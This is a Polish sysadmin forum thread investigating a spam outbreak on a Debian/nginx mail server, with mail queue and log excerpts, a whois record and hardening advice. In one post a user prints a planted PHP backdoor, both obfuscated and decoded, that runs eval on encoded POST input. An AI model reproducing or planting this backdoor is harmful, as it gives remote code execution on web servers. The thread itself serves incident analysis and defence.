Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!

Ogłoszenie

Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.

#1  2013-10-14 14:14:26

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Backdoor z rana jak śmietana.

Ahoj! Dawno mnie tu nie było.. Koledzy, koleżanki zwracam się do Was z prośbą o pomoc w znalezieniu problemu.. Miał być sobie spokojny weekend a tu dostaję w sobotę raporty o problemach serwera pocztowego. Od miesiąca wysłużona maszyna z Lennym została zamieniona VPS'em z Debianem 7. Miało być nowocześnie, bezpiecznie i spokojnie na kolejne kilka lat.. Tymczasem okazuje się, że jestem wciągany na listy spamowe przez jednego u użytkownika www - powiązanego z katalogiem.

Moja kolejka wyglądała mniej więcej tak:

-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
8FBF9304815* 3453 Sun Oct 13 12:46:08 web35@prime.pl
gioia.pisano@ey.com

540EE30480D* 3446 Sun Oct 13 12:46:07 web35@prime.pl
ginobianchini@ey.com

29F7B30BF17* 3466 Mon Oct 14 08:13:26 web35@prime.pl
kmarcoux@maildomination.com

75484305A84* 3453 Sat Oct 12 21:33:37 web35@prime.pl
support@kongu.com

9C2EE303DAB* 3472 Sat Oct 12 13:23:59 web35@prime.pl
thebjohnstons@sbcglobla.net

58CF7304808* 3451 Sun Oct 13 12:46:06 web35@prime.pl
gino.sasso@ey.com

020F830D0B1* 3444 Mon Oct 14 07:30:25 web35@prime.pl
saccentev@coned.com

00B6D305742* 3441 Sat Oct 12 23:30:59 web35@prime.pl
Mulee@compaq.net

DB88930D0D3* 3450 Mon Oct 14 07:30:22 web35@prime.pl
sablianj@coned.com

A263D30A5BE* 3438 Mon Oct 14 02:21:03 web35@prime.pl
roger@villa.com

ED5AB30D08D* 3454 Mon Oct 14 07:30:25 web35@prime.pl
saddiesmith@coned.com

611AD30481A* 3443 Sun Oct 13 12:46:02 web35@prime.pl
ginny.hoce@ey.com

F3F9130D0A6* 3439 Mon Oct 14 07:30:21 web35@prime.pl
sabinoaa@coned.com

D322930D0AC* 3440 Mon Oct 14 07:30:23 web35@prime.pl
sablod@coned.com

Fragment logów mail.log

Oct 10 09:53:29 prime postfix/qmgr[2954]: C5E0F1287ED4: from=<web35@prime.pl>, size=4842, nrcpt=1 (queue active)
Oct 10 09:53:29 prime amavis[27159]: (27159-09-23) Passed CLEAN {RelayedOpenRelay}, <web35@prime.pl> -> <2052124@compass-group.co.uk>, Message-ID: <20131010075322.892481287EE7@prime.pl>, mail_i
Oct 10 09:53:30 prime postfix/local[27848]: 1C8BB1287ED8: to=<web35@prime.pl>, relay=local, delay=0.03, delays=0.01/0/0/0.02, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:30 prime postfix/local[27848]: 742271287ECF: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime postfix/local[27848]: 8CB2F1287ECD: to=<web35@prime.pl>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime amavis[27159]: (27159-09-25) Passed CLEAN {RelayedInbound}, [74.125.83.66]:46601 [74.125.83.66] <> -> <web35@prime.pl>, Queue-ID: 187C71287ED1, Message-ID: <089e01681ba4d5fad104e
Oct 10 09:53:33 prime postfix/smtp[27036]: 187C71287ED1: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=25, delay=8.5, delays=0.12/4.9/0/3.5, dsn=2.0.0, status=sent (250 2.0.0 from MT
Oct 10 09:53:38 prime amavis[27873]: (27873-02) Passed CLEAN {RelayedInbound}, [212.188.178.246]:52393 [212.188.178.246] <> -> <web35@prime.pl>, Queue-ID: 2ECCD1287ECD, Message-ID: <20131010075332.DB7
Oct 10 09:53:38 prime postfix/local[27848]: 0F0981287ECE: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:38 prime postfix/smtp[26447]: 2ECCD1287ECD: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, delay=3.9, delays=0.19/0/0/3.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0
Oct 10 09:59:55 prime postfix/qmgr[2954]: E5D961287ECC: from=<web35@prime.pl>, size=4860, nrcpt=1 (queue active)

Na początku myślę, formularz nie zabezpieczony captcha ale przecież spam idzie na inne adresy niż ten skonfigurowany w formularzu..
Szukam więc dalej w logach. Pomocna staje się strona: http://zy0.de/

W fragmentach zablokowanych wiadomości znajduję

Subject: Voice Message Notification
X-PHP-Originating-Script: 5036:sys09725444.php
From: "WhatsApp Messaging Service" <service@domena.pl>
X-Mailer: mPOPWeb-Mail2.19
Reply-To: "WhatsApp Messaging Service" <service@domena.pl>
Mime-Version: 1.0
Content-Type: multipart/alternative;boundary="----------1381690620525AECFC28AD4"
Message-Id: <20131013185700.30916307D57@prime.pl>
Date: Sun, 13 Oct 2013 20:57:00 +0200 (CEST)

Klucz to sys09725444.php

Szukam tego pliku - mam go w dwóch miejscach. Wraz z nim kilka innych plików.
Wszystko zakodowane oczywiście HEX
Tutaj link do źródła i zdekodowanego pliku:
http://ddecode.com/hexdecoder/?results=3233e0a58699 … 2889109cfb31a

Oczywiście kod nie wygląda jak kod stworzony do przyjaznych celów.

Mój access.log do tego pliku był potężny ale wszystko z jednego adres - trochę amatorka.

146.185.246.18 - - [13/Oct/2013:07:43:35 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:43:41 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:44:48 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:45:18 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:47:17 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"

RIPE

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '146.185.246.0 - 146.185.246.255'

% Abuse contact for '146.185.246.0 - 146.185.246.255' is 'abuse@pinspb.ru'

                                           
inetnum:        146.185.246.0 - 146.185.246.255
netname:        cust3165-net
descr:          Net for customer ID 3165
country:        LU
admin-c:        AV8068-RIPE
tech-c:         AV8068-RIPE
status:         ASSIGNED PA
mnt-by:         MNT-PIN
mnt-by:         MNT-PINSUPPORT
mnt-routes:     ROOT-MNT
source:         RIPE #Filtered


person:         Andrey Vasiliev
address:        Revolyutsii highway, 140
address:        Kirovskiy district, Mga
address:        Leningrad region,
address:        Russian Federation
abuse-mailbox:  info@eurolinenet.biz
phone:          +7 81362 4823
nic-hdl:        AV8068-RIPE
mnt-by:         eurolinenet-mnt
source:         RIPE #Filtered


% Information related to '146.185.246.0/24AS5577'

                                           
route:          146.185.246.0/24
descr:          cust3165-net
origin:         AS5577
mnt-by:         ROOT-MNT
source:         RIPE #Filtered


% This query was served by the RIPE Database Query Service version 1.69 (WHOIS4)

Najprostszą metodą szukania jakiegoś tropu była dla mnie ta unikatowa nazwa pliku ze skryptem, która nie jest unikatowa - bo powtórzyła się w 2 folderach ze stronami.. Co ciekawe.. sporo tego w necie:
http://lustt.webd.pl/
http://majsterkowicz.home.pl/
http://raindrip.home.pl/
http://www.panamoduli.com/
http://ryano.smarthost.pl/

Co ciekawe wszędzie jest prawie ta sama data utworzenia plików co u mnie..
Gdzie szukać dziury. Większość serwerów z tym problemem to Apache, a ja śmigam na NginX'ie


blehh :F

Offline

 

#2  2013-10-14 16:04:40

  fervi - Użytkownik

fervi
Użytkownik
Zarejestrowany: 2010-03-14

Re: Backdoor z rana jak śmietana.

O ile jestem "miszczem" w zabezpieczeniach domowych, o tyle może warto przeskanować komputer rkhunter czy clamAV (o ile go nie masz, ale powinieneś mieć :D)

Fervi

Offline

 

#3  2013-10-14 16:47:13

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

stronki postawione na dziurawcach/starociach (np nieśmiertelna joomla z serii 1.5.x). Przede wszystkim sprawdź strony na których znalazłeś ten plik - pewnie gdzieś jest jakaś luka która umożliwia wykonanie dowolnego kodu/zassanie na konto plików - a potem samo leci.


LRU: #472938
napisz do mnie: ola@mojmail.eu
Hołmpejdż | Galerie | "Twórczość" || Free Image Hosting

Offline

 

#4  2013-10-14 16:58:10

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.
Jest czysto generalnie. Strony postawione na Symphony2 - świeży framework teoretycznie..
Mam ich też więcej, a te 2 padły ofiarą..
Co ciekawe strony, które podlinkowałem często nie miały żadnej strony a w index of był ten syf..


blehh :F

Offline

 

#5  2013-10-14 20:15:19

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

Syf sam się nie urodził :) Porządy audyt tych stron na których pojawił się syf (miej logi i patrzaj w logi, podpowiedź: przede wszsytkim zapytania POST), sprawdzenie logów z logowań na ftp/ssh użytkowników na których te dwie strony stoją. Zmiana haseł itd itp.


LRU: #472938
napisz do mnie: ola@mojmail.eu
Hołmpejdż | Galerie | "Twórczość" || Free Image Hosting

Offline

 

#6  2013-10-14 20:34:53

  fervi - Użytkownik

fervi
Użytkownik
Zarejestrowany: 2010-03-14

Re: Backdoor z rana jak śmietana.

Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.

Wrzucone, a uruchomione? (musisz ręcznie włączyć skanowanie)

Fervi

Offline

 

#7  2013-10-15 14:18:38

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Dobra, problem zlokalizowany. Do końca nie mogę opisać ścieżki ponieważ jest zbyt duża rozpiętość dat..
Wygląda to tak: W kilku folderach ze stronami mam plik default.php
Plik ten powtarza się także w podfolderach także obstawiam, że zainfekowany komputer webmastera wgrywał bez jego wiedzy z wykorzystaniem np. zapamiętanych kont www w kliencie ftp.
Plik default.php wygląda mniej więcej tak:

Kod:

<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>

Po przetworzeniu mamy

Kod:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Każdy kto chociaż trochę liznął php, wie że przy pomocy php://input można wrzucać kod base64, tworzyć pliki itd.

Zainfekowane pliki leżały prawie rok. Następnie w ubiegłym tygodniu autor zapewne uruchomił skrypt, który stworzył na serwerze pliki do wysyłania spamu..
W skrypcie były między innymi funkcje do identyfikacji maszyn poprzez nadanie im seryjnych numerów w pliku..


blehh :F

Offline

 

#8  2013-10-15 14:38:01

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/random
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Zainteresuj się Grsecurity, Grsecurity-ACL i  Cgroup.

Co prawda Debian się do tego średnio nadaje, ale już z Gentusia można zrobić czołg-serwer, wobec którego 99,9999% skrypciarzy będzie bezsilna, jak to sensownie skonfigurujesz. :D

Poza tym kto daje serwerowi WWW prawo zapisu w miejscach, z których może otwierać skrypty php?

Jeśli Grsecurity-ACL za trudne (w rzeczywistości nic trudnego, ale trzeba trochę cierpliwości), to jest jeszcze dość łatwy Apparmor i ultra trudny Selinux.

Pozdro
;-)

Ostatnio edytowany przez Jacekalex (2013-10-15 14:41:23)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#9  2013-10-15 15:16:54

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Kolego, prawami zapisu można sobie manewrować gdy ma się postawioną 1-2 app'ki i administruje się nimi na serwerze..
Dziękuję oczywiście za cenne wskazówki co do dodatkowych zabezpieczeń..

Zastanawia mnie czy nie można by wyciąć z poziomu php.ini tych funkcji, które są potencjalnie groźne..

Z innej beczki..
Czy ktoś z Was pisał sobie może kiedyś jakiś kod do monitorowania kolejki postfixowej?
Myślę o tym, aby zrobić coś co będzie wyłączało dane konto w sytuacji, gdy zostaje za jego pomocą rozsyłany spam..
Zanim ip zostanie wciągnięty na listy spamowe..


blehh :F

Offline

 

#10  2013-10-15 15:21:27

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/random
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Z Postfixem i QMailem jest ten problem, że domyślnie zarówno Amavis jak i QMail-scanner filtrują na okoliczność spamu tylko pocztę przychodzącą, a nie wychodzącą.

Żeby filtrowały i blokowały spam wysyłany z konta z autoryzacją, trzeba trochę chyba pomaszkecić w kodzie, oba programy są skryptami perla.
W Amavisie można chyba też osiągnąć podobny efekt kombinując ze zmienną

Kod:

@acl_local_domains

Ostatnio edytowany przez Jacekalex (2013-10-15 15:24:51)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#11  2013-10-15 15:43:58

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Myślałem czy może w głupi sposób nie mierzyć tylko wielkości kolejki i na jej podstawie monitorować..
Można zauważyć taką analogię, dużego przyrostu kolejki ze względu  na blokowanie części wiadomości..
I na podstawie tego filtrować źródło problemu..
O ile w sytuacji, kiedy problemem jest np. złamane konto pocztowe -> prosty skrypt zmieniający w mysql'u hasło dla usera..
To jak można wyciąć użytkownika "web'owego", który wysyła spam z wykorzystaniem skryptu zaszytego na stronie?
Czy konieczne jest w takim wypadku ograniczenie dostępu do wysyłania wiadomości i wymuszenie autoryzacji loginem i hasłem nawet dla 127.0.0.1?
Jakie stosujecie restrykcje co dla funkcji mail? Mają one sens w ogóle?

Taka ciekawostka: http://blog.shadowserver.org/category/botnets/
Praktycznie opisany sposób jakim wpadł programista..
Z drugiej strony, żeby w dzisiejszych czasach tyle programów nie szyfrowało haseł, które przetrzymuje...

Ostatnio edytowany przez buli (2013-10-15 15:55:00)


blehh :F

Offline

 

#12  2013-10-15 17:34:02

  winnetou - złodziej wirków ]:->

winnetou
złodziej wirków ]:->
Skąd: Jasło/Rzeszów kiedyś Gdańs
Zarejestrowany: 2008-03-31
Serwis

Re: Backdoor z rana jak śmietana.

zrób sobie wraper do funkcji mail w php :P
W php.ini domeny ustawiasz:

Kod:

sendmail_path = "/usr/sbin/phpsendmail ADRES@DOMENA.PL"

Samo /usr/sbin/phpsendmail to kilkulinijkowiec w dowolnym języku, który do wskazanego loga zapisze np date, scieżke do katalogu z którego plik php jest uruchomiony, temat maila, odbiorce (czy cokolwiek tam sobie zapragniesz).


LRU: #472938
napisz do mnie: ola@mojmail.eu
Hołmpejdż | Galerie | "Twórczość" || Free Image Hosting

Offline

 

#13  2013-10-15 21:32:37

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/random
Zarejestrowany: 2008-01-07

Re: Backdoor z rana jak śmietana.

Można też kopię maila łapać zarówno przez php.ini - odpowiednio zmodyfikowane polecenie sendmail - samym sendmailem chyba idzie dodać odbiorcę ukrytej kopii, albo na 100%  użycie always_bcc, sender_bcc ub recipient_bcc w samym postfixie.

Wtedy będziesz łapał wszystkie maile wg takiego czy innego parametru,
i możesz np w Procmailu wyciągnąć z nich dowolne informacje, jakie są potrzebne.

Wszystko masz w dokumentacji postfixa i procmaila.
np:
http://www.postfix.org/ADDRESS_REWRITING_README.html#auto_bcc

Ostatnio edytowany przez Jacekalex (2013-10-15 21:44:08)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

#14  2013-10-23 12:23:48

  buli - Użytkownik

buli
Użytkownik
Skąd: Człuchów
Zarejestrowany: 2006-04-30

Re: Backdoor z rana jak śmietana.

Na dobry początek wrzuciłem sobie mailgraph'a.
Spore ułatwienie, jednak brak informacji zwrotnej.
Przymierzam się do wdrożenia Nagios'a na całą infrastrukturę.
http://img20.imageshack.us/img20/4663/fdmw.jpg


blehh :F

Offline

 

Stopka forum

Powered by PunBB
© Copyright 2002–2005 Rickard Andersson
To nie jest tylko forum, to nasza mała ojczyzna ;-)